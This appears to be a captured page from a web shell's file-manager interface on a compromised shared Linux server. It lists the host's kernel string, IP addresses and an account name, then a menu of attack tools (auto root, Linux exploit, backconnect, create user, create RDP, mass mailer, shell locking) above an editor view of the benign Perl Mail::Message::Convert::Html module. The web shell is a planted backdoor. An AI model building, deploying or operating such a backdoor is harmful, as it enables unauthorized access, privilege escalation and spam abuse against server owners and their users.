Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Message /
Convert /
[ HOME SHELL ]
Name
Size
Permission
Action
EmailSimple.pm
1.16
KB
-rw-r--r--
EmailSimple.pod
4.92
KB
-rw-r--r--
Html.pm
4.12
KB
-rw-r--r--
Html.pod
6.5
KB
-rw-r--r--
HtmlFormatPS.pm
1.25
KB
-rw-r--r--
HtmlFormatPS.pod
4.2
KB
-rw-r--r--
HtmlFormatText.pm
1.32
KB
-rw-r--r--
HtmlFormatText.pod
4.53
KB
-rw-r--r--
MailInternet.pm
2.07
KB
-rw-r--r--
MailInternet.pod
4.79
KB
-rw-r--r--
MimeEntity.pm
1.22
KB
-rw-r--r--
MimeEntity.pod
5.2
KB
-rw-r--r--
TextAutoformat.pm
1.02
KB
-rw-r--r--
TextAutoformat.pod
4.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Html.pm
# Copyrights 2001-2022 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.03. # This code is part of distribution Mail-Message. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Message::Convert::Html; use vars '$VERSION'; $VERSION = '3.012'; use base 'Mail::Message::Convert'; use strict; use warnings; use Carp; sub init($) { my ($self, $args) = @_; $self->SUPER::init($args); my $produce = $args->{produce} || 'HTML'; $self->{MMCH_tail} = $produce eq 'HTML' ? '>' : $produce eq 'XHTML' ? ' />' : carp "Produce XHTML or HTML, not $produce."; $self; } #------------------------------------------ sub textToHtml(@) { my $self = shift; my @lines = @_; # copy is required foreach (@lines) { s/\&/&/gs; s/\</</gs; s/\>/>/gs; s/\"/"/gs; } wantarray ? @lines : join('', @lines); } #------------------------------------------ sub fieldToHtml($;$) { my ($self, $field, $subject) = @_; '<strong>'. $self->textToHtml($field->wellformedName) .': </strong>' . $self->fieldContentsToHtml($field,$subject); } #------------------------------------------ sub headToHtmlTable($;$) { my ($self, $head) = (shift, shift); my $tp = @_ ? ' '.shift : ''; my $subject; if($self->{MMHC_mailto_subject}) { my $s = $head->get('subject'); use Mail::Message::Construct; $subject = Mail::Message::Construct->replySubject($s) if defined $subject; } my @lines = "<table $tp>\n"; foreach my $f ($self->selectedFields($head)) { my $name_html = $self->textToHtml($f->wellformedName); my $cont_html = $self->fieldContentsToHtml($f, $subject); push @lines, qq(<tr><th valign="top" align="left">$name_html:</th>\n) , qq( <td valign="top">$cont_html</td></tr>\n); } push @lines, "</table>\n"; wantarray ? @lines : join('',@lines); } #------------------------------------------ sub headToHtmlHead($@) { my ($self, $head) = (shift,shift); my %meta; while(@_) {my $k = shift; $meta{lc $k} = shift } my $title = delete $meta{title} || $head->get('subject') || '<no subject>'; my @lines = ( "<head>\n" , "<title>".$self->textToHtml($title) . "</title>\n" ); my $author = delete $meta{author}; unless(defined $author) { my $from = $head->get('from'); my @addr = defined $from ? $from->addresses : (); $author = @addr ? $addr[0]->format : undef; } push @lines, '<meta name="Author" content="' . $self->textToHtml($author) . "\"$self->{MMCH_tail}\n" if defined $author; foreach my $f (map {lc} keys %meta) { next if $meta{$f} eq ''; # empty is skipped. push @lines, '<meta name="'. ucfirst lc $self->textToHtml($f) . '" content="'. $self->textToHtml($meta{$f}) ."\"$self->{MMCH_tail}\n"; } foreach my $f ($self->selectedFields($head)) { next if exists $meta{$f->name}; push @lines, '<meta name="' . $self->textToHtml($f->wellformedName) . '" content="' . $self->textToHtml($f->content) . "\"$self->{MMCH_tail}\n"; } push @lines, "</head>\n"; wantarray ? @lines : join('',@lines); } #------------------------------------------ my $atom = qr/[^()<>@,;:\\".\[\]\s[:cntrl:]]+/; my $email_address = qr/(($atom(?:\.$atom)*)\@($atom(?:\.$atom)+))/o; sub fieldContentsToHtml($;$) { my ($self, $field) = (shift,shift); my $subject = defined $_[0] ? '?subject='.$self->textToHtml(shift) : ''; my ($body, $comment) = ($self->textToHtml($field->body), $field->comment); $body =~ s#$email_address#<a href="mailto:$1$subject">$1</a>#gx if $field->name =~ m/^(resent-)?(to|from|cc|bcc|reply\-to)$/; $body . ($comment ? '; '.$self->textToHtml($comment) : ''); } #------------------------------------------ 1;
Close